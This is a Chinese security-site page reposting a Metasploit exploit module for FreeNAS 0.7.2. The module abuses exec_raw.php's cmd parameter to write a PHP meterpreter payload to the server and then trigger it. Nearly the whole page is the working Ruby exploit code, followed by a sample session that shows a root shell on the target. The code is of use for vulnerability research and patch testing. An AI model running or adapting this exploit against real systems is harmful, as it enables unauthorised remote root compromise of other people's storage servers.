首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
FreeNAS exec_raw.php Arbitrary Command Execution (meta)
来源:http://www.metasploit.com 作者:MC 发布时间:2010-11-19  
##
# $Id: freenas_exec_raw.rb 11015 2010-11-12 23:14:46Z jduck $
###

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'FreeNAS exec_raw.php Arbitrary Command Execution.',
			'Description'    => %q{
					This module exploits an arbitrary command execution flaw
				in FreeNAS 0.7.2 < rev.5543. When passing a specially formatted URL
				to the exec_raw.php page, an attacker may be able to execute arbitrary
				commands.

				NOTE: This module works best with php/meterpreter payloads.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11015 
, 'References' => [ [ 'URL', 'http://sourceforge.net/projects/freenas/files/stable/0.7.2/NOTES%200.7.2.5543.txt/download' ], ], 'Payload' => { 'Space' => 6144, 'DisableNops' => true, 'BadChars' => "`\"' %&x", }, 'Targets' => [ [ 'Automatic Target', { } ] ], 'Privileged' => 'true', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'DisclosureDate' => 'Nov 6 2010', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), ], self.class) end def exploit page = rand_text_alpha_upper(rand(5) + 1 ) + ".php" shellcode = payload.encoded sploit = "echo \"<?php\n#{shellcode}\n?>\" > #{page}" print_status("Sending exploit page '#{page}'") res = send_request_raw( { 'uri' => "/exec_raw.php?cmd=" + Rex::Text.uri_encode(sploit), }, 10) if (res and res.code == 200) print_status("Triggering payload...") send_request_raw({ 'uri' => "/#{page}" }, 5) handler else print_error("Exploit failed.") return end end end =begin meterpreter > sysinfo Computer: freenas.local OS : FreeBSD freenas.local 7.3-RELEASE-p2 FreeBSD 7.3-RELEASE-p2 #0: Sat Jul 31 12:22:04 CEST 2010 root@dev.freenas.org:/usr/obj/freenas/usr/src/sys/FREENAS-i386 i386 meterpreter > getuid Server username: root (0) meterpreter > =end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·Yahoo! Messenger Webcam 8.1 Ac
·VideoScript 3.0 <= 4.0.1.50 Of
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Xion Audio Player 1.0.126 Buff
·DATAC RealWin SCADA Server Buf
·Native Instruments Kontakt 4 P
·Mosets Tree 2.1.6 (Joomla) Tem
·Native Instruments Traktor Pro
·MP3-Nator Buffer Overflow (SEH
·Native Instruments Service Cen
·chCounter <= 3.1.3 SQL Injecti
·Native Instruments Massive 1.1
·DIZzy 1.12 Local Stack Overflo
·Free CD to MP3 Converter 3.1 B
·Minishare 1.5.5 Buffer Overflo
  推荐广告
CopyRight © 2002-2020 VFocuS.Net All Rights Reserved